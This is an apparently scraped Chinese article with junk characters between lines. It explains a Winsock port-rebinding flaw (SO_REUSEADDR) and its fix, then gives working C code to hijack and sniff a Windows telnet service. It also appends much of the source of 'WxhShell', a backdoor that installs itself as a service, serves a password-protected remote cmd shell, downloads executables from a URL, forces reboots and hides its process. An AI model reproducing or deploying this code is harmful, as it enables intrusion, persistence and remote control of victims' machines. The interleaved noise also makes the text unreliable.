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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :\~+#/=: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,8G{]X) H jNxqaljt saddr.sin_family = AF_INET; ,1{Ep` .0HZNWRtb saddr.sin_addr.s_addr = htonl(INADDR_ANY); Oc?+M 5 t%1 ^Li bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hIv@i\` Kr`]_m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <3X7T6_:@ ov#7hxe 这意味着什么?意味着可以进行如下的攻击: i7[uLdQ 1n*W2:,z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hPhZUL% " K* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .3 pbuU zW |=2oX2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E
.6HpIx #<7O08: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ^cvl:HOog r} _c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lb'Cl 3H G28O%jD? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o/cjXun* &:*q_$]Oz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wRNroQ ewsKH\#
#include bEuaOBc #include v{x{=M] #include s=I'e/"7 #include s$h]
G[x DWORD WINAPI ClientThread(LPVOID lpParam); $.St ej1 int main() w>?Un,K { 72T I WORD wVersionRequested; \6|/RFT DWORD ret; M<?Q4a'Q WSADATA wsaData; IputF<p BOOL val; Pj#'}ru! SOCKADDR_IN saddr; pj|pcv^ SOCKADDR_IN scaddr; =wu*D5 int err; }]P4-KqI SOCKET s; v*hRz; SOCKET sc; H/F+X?t$0 int caddsize; u?+bW-D'd HANDLE mt; n7LfQWc DWORD tid; ^W83ByP wVersionRequested = MAKEWORD( 2, 2 ); t-%Q`V=[ err = WSAStartup( wVersionRequested, &wsaData ); -7>)i if ( err != 0 ) { {0\,0*^p printf("error!WSAStartup failed!\n"); BF|(!8S$U return -1; mo]KCi } 6&v?)o saddr.sin_family = AF_INET; )(Iy<Y?# tY W>t9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d~tuk4F l":c saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "HMP$)d saddr.sin_port = htons(23);
}WFf''Z- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }7<5hn E { |V[9}E:
h printf("error!socket failed!\n"); [K~]& return -1; 3-s}6<0v1 }
05\dl val = TRUE; >gtQw! //SO_REUSEADDR选项就是可以实现端口重绑定的 >v;8~pgO if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =x#FbvV { Y[ reD printf("error!setsockopt failed!\n"); H!e 3~+) return -1; &`|:L(+ } n
?[/ufl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zzua17
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;_kzcK!l //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yWPIIWHx! EER`?Sa( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6bc337b { 1a0kfM$ ret=GetLastError(); RH0>ZZR printf("error!bind failed!\n"); c2l_$p return -1; _hf4A8ak } mbl]>JsQD listen(s,2); y2HxP_s?P? while(1) I 1d0iU { yKagT$- caddsize = sizeof(scaddr); W3W'oo //接受连接请求 }`VDD?M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <c[U#KrvJ if(sc!=INVALID_SOCKET) wHjLd$ +o { !#ri5{od mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >>d m}X if(mt==NULL) 9V uq,dv { ".*x!l0y7 printf("Thread Creat Failed!\n"); rf+:=|/_3 break; RNVbcd } &>WWzikB* } "e3["' CloseHandle(mt); pVp:@0h } 5`/@N{e closesocket(s); .@ C{3$,VG WSACleanup(); Rn%N&1
Ef return 0; HY;o^drd } cNpe_LvW DWORD WINAPI ClientThread(LPVOID lpParam) }S-DB#6 { wbyE;W SOCKET ss = (SOCKET)lpParam; ij5g^{_T;8 SOCKET sc; ;#G oGb4AM unsigned char buf[4096]; +eX)48 SOCKADDR_IN saddr; S&C1 TC long num; EUYCcL'G DWORD val; 1xJ
TWWj- DWORD ret; Gm`}(;(A //如果是隐藏端口应用的话,可以在此处加一些判断 FUK3)lT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 WnFG{S{s saddr.sin_family = AF_INET; !33#. @[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6~:Sgt nU saddr.sin_port = htons(23); Rx36?/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }G46g#_6d> { Q "r_!f printf("error!socket failed!\n"); c47")2/yO return -1; T Zir>5 } %wV>0gQTf val = 100; }H4=HDO if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G}@#u9 { /(I*,.d ret = GetLastError(); r5&I?
0 return -1; \b'xt } NBh%:tu7M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u.pxz8 { xynw8;Y, ret = GetLastError(); 0XwHP{XaO return -1; jt~Qu- } 5(2|tJw-H; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "bg'@:4F { 3LR p2(A printf("error!socket connect failed!\n"); ;Lw{XqT closesocket(sc); f"#m=_Xm closesocket(ss); ?i\B^uB return -1; R)?{]]v } 9n]|PEoAB while(1) QlFZO4 P3| { R`Aj|C
z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wCs3:@UH
//如果是嗅探内容的话,可以再此处进行内容分析和记录 ~cAZB9Fa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XB hb`AG num = recv(ss,buf,4096,0); @Fv=u if(num>0) T@wcHg send(sc,buf,num,0); -37a. else if(num==0) a^qNJ?R! break; Hs"(@eDV&J num = recv(sc,buf,4096,0); ;T]d MfO if(num>0) 5 v^yQ<70 send(ss,buf,num,0); `?*%$>W#" else if(num==0) HWns.[ break; V=I"-k}RL } HC {XX>F^ closesocket(ss); wyx(FinIH closesocket(sc); "Y`3DxXz return 0 ; T[k4lM } n6WY&1ZE~ :WGtR\tK LL^q1)o ========================================================== =+5,B\~q@C "\"DCDKmG 下边附上一个代码,,WXhSHELL Eu}b8c ~Vh(6q.oT ========================================================== Bsf7mcXz7z F+UG'4% #include "stdafx.h" Op.8a`XLt& @YvOoTyb #include <stdio.h> Gz
I~TWc+G #include <string.h> vq*Q.0 M+ #include <windows.h> djQv[Vc{ #include <winsock2.h> ]e:/" #include <winsvc.h> ubMOD< #include <urlmon.h> Zt
-1h{7 + Y.1)i} #pragma comment (lib, "Ws2_32.lib") h[KvhbD3 #pragma comment (lib, "urlmon.lib") uy _wp^ cxeghy:;U #define MAX_USER 100 // 最大客户端连接数 RT/o$$ #define BUF_SOCK 200 // sock buffer A*h{Lsx; #define KEY_BUFF 255 // 输入 buffer )O+}T5c= Mk<Vydds #define REBOOT 0 // 重启 P`4]-5gE #define SHUTDOWN 1 // 关机 dhg~$CVO <%}QDO8\i #define DEF_PORT 5000 // 监听端口 h/eR !"Yj|Nu6 #define REG_LEN 16 // 注册表键长度 g]@(E #define SVC_LEN 80 // NT服务名长度 iO/XhSD Zv]x'3J#Y // 从dll定义API yfQ5:X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z@|dzvjl
Q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A$0H
.F> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8VG!TpX/B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -W{DxN1 :%&Q-kk4! // wxhshell配置信息 M69
w- struct WSCFG {
B3m_D"? int ws_port; // 监听端口 b2(RpY2Y char ws_passstr[REG_LEN]; // 口令 a?}
.Fs int ws_autoins; // 安装标记, 1=yes 0=no wZT%Ee\D% char ws_regname[REG_LEN]; // 注册表键名 8kE]_t char ws_svcname[REG_LEN]; // 服务名 ',3HlOJ: char ws_svcdisp[SVC_LEN]; // 服务显示名 gwrYLZNGI char ws_svcdesc[SVC_LEN]; // 服务描述信息 `J<*9dq% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +[@z(N-h int ws_downexe; // 下载执行标记, 1=yes 0=no j| Wv7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5S
Xn? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K`&oC8p f|A
riM }; 75nNh~?)\ Jk|Q`h // default Wxhshell configuration )C(>H93 struct WSCFG wscfg={DEF_PORT, :Eh\NOc_O "xuhuanlingzhe", onCKI," 1, *,C(\!b
!? "Wxhshell", 7 J^rv9i4 "Wxhshell", mvW% "WxhShell Service", w&$d* E "Wrsky Windows CmdShell Service", rt3qdk5U "Please Input Your Password: ", #
?1Sm/5k` 1, >4Y3]6N0.F " http://www.wrsky.com/wxhshell.exe", rD?L "Wxhshell.exe" 2n><RZ/9 }; cUqn<Z<n -50HB`t // 消息定义模块 *D4hq= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V6$xcAE"</ char *msg_ws_prompt="\n\r? for help\n\r#>"; 0`.^MC? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @J{m@ji{ char *msg_ws_ext="\n\rExit."; AWjJ{#W>9 char *msg_ws_end="\n\rQuit."; 'K@|3R char *msg_ws_boot="\n\rReboot..."; Vt^3iX{! char *msg_ws_poff="\n\rShutdown..."; 2 &/v] char *msg_ws_down="\n\rSave to ";
{^CT}\=> :(dHY char *msg_ws_err="\n\rErr!"; a8u9aEB char *msg_ws_ok="\n\rOK!"; waX>0e AL/?,%F char ExeFile[MAX_PATH]; EcIE~qs int nUser = 0; t$2_xX HANDLE handles[MAX_USER]; K]/4qH$: int OsIsNt; HCK|~k n%h^o SERVICE_STATUS serviceStatus; i
8!zu!-0 SERVICE_STATUS_HANDLE hServiceStatusHandle; Z UKf`m[ Ze<K=Q%(i // 函数声明 UT~a&u int Install(void); tqAd$:L int Uninstall(void); s &Dg8$ int DownloadFile(char *sURL, SOCKET wsh); W{z.?$SH int Boot(int flag); G6VF>2 void HideProc(void); }(a+aHH int GetOsVer(void); O/:UJ( e{ int Wxhshell(SOCKET wsl); )%rg?lI void TalkWithClient(void *cs); 7\_o.(g#- int CmdShell(SOCKET sock); 4tg<iH{ int StartFromService(void); XxHx:mi int StartWxhshell(LPSTR lpCmdLine); i'stw6*J ,F&g5' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tg^sCxz9] VOID WINAPI NTServiceHandler( DWORD fdwControl ); %0#1t 5g gOgps: // 数据结构和表定义 `[o)<<} SERVICE_TABLE_ENTRY DispatchTable[] = \txbhWN { jq'!UN{ {wscfg.ws_svcname, NTServiceMain}, HW&%T7
a {NULL, NULL}
IUR<.Y` }; t+oJV+@ &`b
"a! // 自我安装 9a'-Y int Install(void) Bq/:Nd[y { 7+./zN char svExeFile[MAX_PATH]; Vcd.mE(t% HKEY key; Pxn,Qw* strcpy(svExeFile,ExeFile); P"sA w\)| // 如果是win9x系统,修改注册表设为自启动 oJ#,XMKga if(!OsIsNt) { at2FmBdu C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $R<Me RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nRd)++ RegCloseKey(key); 4|A>b})H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0$r^C6}f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FP[!BUOf" RegCloseKey(key); B^).BQ return 0; aq7~QX_0G } MX>[^}n } `1 :{0p2q } c1X1+b, else { $mF_,| "~TA SX_? // 如果是NT以上系统,安装为系统服务 ?` SUQm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O25lLNmO if (schSCManager!=0) 8* Jw0mSw { 8H[:>;SI SC_HANDLE schService = CreateService HF|oBX$_ ( w+1Gs
; schSCManager, @p\}p Y$T wscfg.ws_svcname, J>d.dq>r wscfg.ws_svcdisp, O-)-YVU SERVICE_ALL_ACCESS, 8p[)MiC5W^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vh>Z,()>>@ SERVICE_AUTO_START, p~LrPWHSTP SERVICE_ERROR_NORMAL, 5nbEf9& svExeFile, {Ay"bjZh NULL, P2Vg 4 NULL, 6(PM'@i NULL, 0'nikLaKy NULL, E7-@&=]v NULL
Ov<NsNX] ); OR[{PU=X if (schService!=0) &^4++ { z3?o|A }/W CloseServiceHandle(schService); @k&qb!Qah CloseServiceHandle(schSCManager); GfC5z n> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =B.F;40 strcat(svExeFile,wscfg.ws_svcname); j65<8svl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I%urz!CNE* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FLEo*9u>b RegCloseKey(key); ||yzt!n return 0; J90v!p- } 7gRgOzWfV } #Fyuf,hw4 CloseServiceHandle(schSCManager); LR"9D } YuB+k^ } S*yjee<@ HaIM#R32T return 1; qWw\_S } $AHQmyg< b86}% FM // 自我卸载 k{t`|BnPKB int Uninstall(void) I}R0q { (h:Rh HKEY key; 37}D9:#5C w3$ if(!OsIsNt) { #c2ymQm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { utr:J RegDeleteValue(key,wscfg.ws_regname); Y))NK'B5 RegCloseKey(key); ^j7azn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *2jK#9"MP RegDeleteValue(key,wscfg.ws_regname); r&FDEBh RegCloseKey(key); Yw0[[N<SW return 0; bJs9X/E } @B}aN@!/ } _YRE (YZ/ } 43=,yz2Ef else { $ MC)}l 5atYOep SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8_N]e'WUh if (schSCManager!=0) .1LCXW= { $8BPlqBIZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W%\C_ if (schService!=0) r7qh>JrO { 3do)Vg4
if(DeleteService(schService)!=0) { 6uR^%W8] CloseServiceHandle(schService); }NB}"%2 CloseServiceHandle(schSCManager); B$Kn1 k return 0; "yW:\ } 7%sdtunf` CloseServiceHandle(schService); n0is\ZK 0 } m)oJFF CloseServiceHandle(schSCManager); &\_iOw8 } 7F'`CleU } f7}*X|_Y Dl}$pN return 1; jmeRrnC} } cv`~y'?D c%qv9 // 从指定url下载文件 C`q@X(_ int DownloadFile(char *sURL, SOCKET wsh) ?Q&yEGm( { _Zr.ba HRESULT hr; b".L_Ma1* char seps[]= "/"; }1r m char *token; Ps<d('= char *file; c_>f0i char myURL[MAX_PATH]; ?R$&Xe!5 char myFILE[MAX_PATH]; p'om- +zs4a96[ strcpy(myURL,sURL); .aflsUD token=strtok(myURL,seps); z<5m
fAm while(token!=NULL) =Qn ;_+Ct { $.bBFWk file=token; 9H%X2#:fH token=strtok(NULL,seps); h;0S%ZC } VJS8)oI~ +$Rt+S BD GetCurrentDirectory(MAX_PATH,myFILE); )(@Hd strcat(myFILE, "\\"); 7hcNf, strcat(myFILE, file); e#k<d-sf6 send(wsh,myFILE,strlen(myFILE),0); dh $bfAb send(wsh,"...",3,0); 1m .W< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3g6j?yYqb if(hr==S_OK) ()H:Uv M=t return 0; Km^&<3ch# else ,\@O(;
mF return 1; c;'[W60 Y3=_ec3w } <wAFy>7 QNl'ZB\ // 系统电源模块 z0do;_x]E int Boot(int flag) m1*O0Tg]" { }m-FGk HANDLE hToken; '{B!6|"X TOKEN_PRIVILEGES tkp; ~^cMys |' x]33LQ1] if(OsIsNt) { Cn[0(s6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7>~5jYP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); of@#:Qs tkp.PrivilegeCount = 1; c}0@2Vf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,f&5pw
= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [2Ud]l:6E if(flag==REBOOT) { ivz{L- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y.Z?LCd< return 0; } GiHjzsR } 42qYg(tZ else { 'R:"5d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <=,6p>Eo[ return 0; -uy`!A } pf7it5 } [#sz WNfU else { L~KM=[cn if(flag==REBOOT) { d0,s"K7@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~JH:EB: return 0; _hk.2FV:3m } )=etG else { 6w@ Ii; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y(d$ return 0; $O5UyKI } )<Hd T } s
S7c! vZBc!AW return 1; E^SH\5B } -bU oCF0 9*(aUz9j // win9x进程隐藏模块 |*0<M(YXN void HideProc(void) Ho
*AAg { f-71~ x UD-iSY HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0/oyf]HR if ( hKernel != NULL ) 9,"L^W8"k { ,11H.E
Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *C:|X b<9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +PuPO9jKO@ FreeLibrary(hKernel); #&7}-"Nd } 0a "c2J TG5XSy return; P->y_4O } ]: ~OG@( J":,Vd!*- // 获取操作系统版本 ,kn">k9 int GetOsVer(void) 8M`#pN^ { E2{FK)qT OSVERSIONINFO winfo; KkE9KwZ]W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fwRZ5`v< GetVersionEx(&winfo); RSfzRnhmr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9,r rQQD_ return 1; qm8&*UuKJ else +@/"%9w return 0; |UxG $M( } `WH"%V:"Q 8zR~d%pK // 客户端句柄模块 k'5?M int Wxhshell(SOCKET wsl) ksN+?E4w { UQI]>#_/v SOCKET wsh; WpRc)g: struct sockaddr_in client; PuZf/um DWORD myID; 6<ZkJ:=
MEGv} while(nUser<MAX_USER) O~^" { Os1>kwC int nSize=sizeof(client); n0e1k.A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]h5Yg/sms if(wsh==INVALID_SOCKET) return 1; YS%h^>I^ y)@[Sl> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :65~[$2
if(handles[nUser]==0) os]8BScx closesocket(wsh); 5qP:/*+ else qDfd. gL nUser++; [F6U+1n8e } SK#(#OQoh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *9{Z$IA9w U b* wuI return 0; uPl\I6k } `p;I} 9Q+'n$s0^ // 关闭 socket jyZWVL:_ void CloseIt(SOCKET wsh) 9AJ7h9L { XnWr5-; closesocket(wsh); N/K.%<h nUser--; 9B7^lR ExitThread(0); SV~~Q_U9 } Aw5HF34J
S :<Nc{C // 客户端请求句柄 Gnq?"</ void TalkWithClient(void *cs) }=]M2} { {R?U.eJW tyqT SOCKET wsh=(SOCKET)cs; ?pB>0b~3- char pwd[SVC_LEN]; [6XF=L,! char cmd[KEY_BUFF]; Xn%pNxUL char chr[1]; 9uA>N int i,j; ]h
%Wiw u2?|Ue@[ while (nUser < MAX_USER) { 0p!>JQ]m _zwG\I|Q if(wscfg.ws_passstr) { &H`jL4S if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *5^Q7`` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "*srx] //ZeroMemory(pwd,KEY_BUFF); d5gR"ja i=0;
{*I``T_+ while(i<SVC_LEN) { xe`
</ l.NEkAYPmH // 设置超时 L$E{ycn fd_set FdRead; 8Hn|cf0 struct timeval TimeOut; #kaY0M FD_ZERO(&FdRead); @dPTk"P FD_SET(wsh,&FdRead); K8UP,f2 TimeOut.tv_sec=8; %*0^0wz TimeOut.tv_usec=0; 8Y7Q+p|O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >^*+iEe if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M 4?ig}kh 2
Cv4=S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YLzx<~E4a pwd =chr[0]; 2-Ej4I~ if(chr[0]==0xd || chr[0]==0xa) { VYk!k3qS pwd=0; jGpN,/VQa break; Tw;3_Lj } ([m
mPyp>L i++; 9E>|=d|(d } xY^%&n P<a)25be/ // 如果是非法用户,关闭 socket 9E"vN if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O%5
r[ } [VsKa\9u HTS%^<u send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V#S9H!hm$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \(^nSy&N m;GbLncA while(1) { 8)10o,#L +
|#O@k ZeroMemory(cmd,KEY_BUFF); lY?QQ01D Ne[7gxpu // 自动支持客户端 telnet标准 K|hjEQRv j=0; F|e1"PkeoA while(j<KEY_BUFF) { #\ X#w<\? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rp!oO>F cmd[j]=chr[0]; 4hTMbS_; if(chr[0]==0xa || chr[0]==0xd) { C,ARXW1 cmd[j]=0; %R}.#,Suo break; vnM@QfN } rPLm5ni j++; rLI8pA|. } 7G}2,ueI Y6zbo // 下载文件 I J( if(strstr(cmd,"http://")) { 8{^WY7.' send(wsh,msg_ws_down,strlen(msg_ws_down),0); I uMQ9& if(DownloadFile(cmd,wsh)) '+?"iVVo send(wsh,msg_ws_err,strlen(msg_ws_err),0); `OXpU,Z 6U else B1>/5hV} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8TLgNQP } 4'a=pnE$
else { p8h9Ng*&` 2ZG5<"DQ" switch(cmd[0]) { [f1
(`< oPXkYW // 帮助 d(:8M case '?': { 4,CXJ2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }dWq=)* break; o7sT=x9 } ToXki, // 安装 Z7hgA-t case 'i': { 7b;I+q if(Install()) $m].8? send(wsh,msg_ws_err,strlen(msg_ws_err),0); HUv/ ~^< else C9n?@D;S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }%'?p<^M break; hRrn$BdLX } XINu=N(g // 卸载 g1W.mAA3B case 'r': { #><.oreXq if(Uninstall()) V-Sd[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?BFvbAt else T"E6y"D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g!?:Ye`5 break; ?fUlgQ}N } Jrti
cK$ // 显示 wxhshell 所在路径 aTqd@},? case 'p': { -EkWs/'h char svExeFile[MAX_PATH]; 'B 43_ strcpy(svExeFile,"\n\r"); GVYBa_gx strcat(svExeFile,ExeFile); \]2]/=2tLd send(wsh,svExeFile,strlen(svExeFile),0); \Zqng break; naYrpK,. } YaKeq5%y // 重启 Tgm nG/Z case 'b': { ;CmS ~K: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y2ZT.l if(Boot(REBOOT)) G~2jUyv send(wsh,msg_ws_err,strlen(msg_ws_err),0); E_])E`BJ else { :(!`/#6H closesocket(wsh); w$z}r ExitThread(0); {|&5_][ } (Pf+0,2 break; rV R1wsaL }
A: 5x| // 关机 .TND a& case 'd': { )Ch2E|C?=8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4cabP}gBk if(Boot(SHUTDOWN)) Gb#Cm] send(wsh,msg_ws_err,strlen(msg_ws_err),0); >L;eO'D else { *W0y: 3dB3 closesocket(wsh); kI
4MiK ExitThread(0); Bm.:^:&k } <acUKfpY break; w)kNkD } dZ rAn // 获取shell aqRhh=iS case 's': { yp KUkH/ CmdShell(wsh); hb zC#@q closesocket(wsh); wKZ$iGMbz ExitThread(0); \ 3wfwu.q break; 7\$qFF-y } 75"f2; // 退出 -:2$ % case 'x': { dJ2Hr;Lc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ljxz.2LGr CloseIt(wsh); -Zf@VW,NI break; JJ}0gZ } 8/i!' 0r\ // 离开 M=FxB;v case 'q': { z3&]%Q& send(wsh,msg_ws_end,strlen(msg_ws_end),0); ewa wL" closesocket(wsh); h{HF8>u[ WSACleanup(); =(NB%} exit(1); -+ SF break; - }7e:!. } ej4W{IN~: } Z:,U]Z( } 5p<ItU$pnL qq) rd // 提示信息 I/d&G#:~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rn`x7(WA } b$ve sJ } kbTm^y" 1|kvPo# return; ;1`fC@rI } sYe?M, R< ,`[* Z // shell模块句柄 "= 6_V?&w int CmdShell(SOCKET sock) :3XA!o&.T3 { @&%'4j&+ STARTUPINFO si; 2z6yn?'&L ZeroMemory(&si,sizeof(si)); <3xyjX'NE si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x_|UPF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4}_j`d/8| PROCESS_INFORMATION ProcessInfo; uw[<5 char cmdline[]="cmd"; *5vV6][ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M=1n QF2J return 0; LR.Hh } 6+.uU[x@ N^HUijw< // 自身启动模式 2^mJ+v< int StartFromService(void) L\)ZC { -yE/f2PgQ typedef struct QrB@cK] { KM}f:_J*lg DWORD ExitStatus; ]+|~cRQ9I DWORD PebBaseAddress; Y
;u<GOe DWORD AffinityMask; 4wID]bKM DWORD BasePriority; 5mJ JU ULONG UniqueProcessId; GNXHM*~ ULONG InheritedFromUniqueProcessId; 6l5:1|8b,! } PROCESS_BASIC_INFORMATION; 'MEz|Z U}6.h&$ PROCNTQSIP NtQueryInformationProcess; [s"O mAy4 4{hps.$?~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X%Z{K- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @y='^DQ* `tHvD=`m. HANDLE hProcess;
